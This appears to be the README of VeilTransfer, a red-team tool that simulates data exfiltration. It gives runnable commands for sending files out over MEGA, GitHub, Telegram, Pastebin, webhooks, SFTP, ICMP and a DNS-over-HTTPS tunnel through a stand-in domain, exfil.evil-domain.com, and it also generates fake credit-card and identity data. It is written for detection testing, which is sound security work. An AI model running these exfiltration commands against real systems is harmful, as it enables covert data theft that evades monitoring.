VeilTransfer is a data exfiltration utility designed to test and enhance detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture. By leveraging multiple exfiltration methods such as MEGA, GitHub, SFTP, WebDAV, and more, VeilTransfer helps identify gaps in your defenses and ensures your security solutions are prepared to counter modern data breaches.
- MEGA
- GitHub
- Dropbox
- Telegram
- Pastebin
- WebDAV
- Webhook
- SFTP
- FTP
- DoH (DNS over HTTPS)
- QUIC
- ICMP
ID | Techniques |
---|---|
T1029 | Scheduled Transfer |
T1020 | Automated Exfiltration |
T1132.001 | Data Encoding: Standard Encoding |
T1560.002 | Archive Collected Data: Archive via Library |
T1567.001 | Exfiltration Over Web Service: Exfiltration to Code Repository |
T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage |
T1567.003 | Exfiltration Over Web Service: Exfiltration to Text Storage |
T1567.004 | Exfiltration Over Web Service: Exfiltration Over Webhook |
T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |
T1048.002 | Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol |
VeilTransfer also supports generating fake data, including:
- Indonesia Identity Card (KTP) Numbers: Generate realistic KTP numbers and associated data.
- Credit Card Information: Create fake credit card details in PCI DSS format, including First Name, Last Name, CCN (Visa/MasterCard/AMEX), and Expiration Date.
- Social Security Numbers (SSN): Generate fake SSNs for use in simulations and testing environments.
- Medical Records: Generate fake medical record data in Indonesian (id) or English (en).
Easily create zip files for bundling and compressing data, which can then be used for exfiltration or testing different scenarios. Supports optional splitting into multiple files based on size.
- Red Team Operations: Deploy VeilTransfer during red team exercises to challenge blue teams with sophisticated and realistic exfiltration scenarios.
- Purple Teaming: Collaborate with your defensive teams to simulate and then detect exfiltration attempts, refining both offensive and defensive tactics.
- Security Testing: Use VeilTransfer to validate the effectiveness of DLP, NDR, firewall, and other network security measures.
This example demonstrates how to securely transfer a file to a remote server using the SFTP protocol. The file is located on the local machine, and it's transferred to the specified remote directory using SSH authentication.
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass
In this example, files from a local directory are uploaded to a WebDAV server. The server requires a username and password for authentication. The server parameter includes the URI scheme (https:// or http://).
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass
This example shows how to transfer files to Mega Cloud storage. The files are uploaded from a specified local directory, and the authentication is handled using the user's Mega Cloud credentials.
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username megauser@example.com -password megasecretpassword
This example, a file is uploaded to an FTP server. The file is transferred to a specific directory on the remote server. The server requires a username and password for authentication.
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword
This example demonstrates how to upload the contents of a file to Pastebin. The content is posted to Pastebin using an API key provided by the user.
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key
This example shows how to push a file from the local machine to a specific GitHub repository. The file is added to the repository using the user's GitHub API token for authentication.
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token
This example demonstrates how to send a file to a specific Telegram channel. The file is sent using a Telegram bot API token, and the message is delivered to the specified channel ID.
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789
In this example, the contents of a file are sent to a specified Webhook URL.
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url
To establish a secure data exfiltration mechanism utilizing DNS over HTTPS (DoH), the following DNS records must be configured:
-
A Record: Point test to the IP address <VeilTransfer_IP_Address>.
test -> <VeilTransfer_IP_Address>
-
NS Record: Define a subdomain (exfil) that is managed by evil-domain.com.
exfil -> test.evil-domain.com
The domain exfil.evil-domain.com will serve as the DNS Exfil domain.
Then, start the VeilTransfer Server in DoH mode with the following command:
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil
Note: The encryption key (-key) must be 16 or 32 characters long.
To upload files via DoH, ensure that the VeilTransfer Server is actively running in DoH mode with a valid encryption key. Then, initiate the transfer using the client command:
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com
To start the VeilTransfer server in QUIC mode, use the following command:
veiltransfer_server quic -cert /path/server.crt -key /path/server.key
Once the server is running, you can upload files or directories using:
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443
To enable file transfers via the ICMP protocol, start the VeilTransfer Server in ICMP mode by executing the following command:
veiltransfer_server_linux icmp -folder /path/folder
Once the server is active, execute the following command to transfer files or directories via ICMP:
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>
Creates a zip archive from a specified directory.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip
Creates a zip archive split into multiple parts based on the specified size.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000
This example shows how to generate 100 entries of fake credit card data. The generated data will include credit card numbers, expiration dates, and associated details.
veiltransfer_client generate-fake -ccn -count 100
This example demonstrates how to generate 50 entries of fake KTP data, which are Indonesian identity cards. The data includes personal information such as name, address, and KTP number.
veiltransfer_client generate-fake -ktp -count 50
The generated data includes Social Security Numbers formatted according to U.S. standards.
veiltransfer_client generate-fake -ssn -count 200
This example demonstrates how to generate 300 fake medical records in English.
veiltransfer_client generate-fake -medical-record -count 300 -language en
Contributions to VeilTransfer are welcome! If you have ideas for new features, exfiltration methods, or improvements, please submit a pull request or open an issue on GitHub.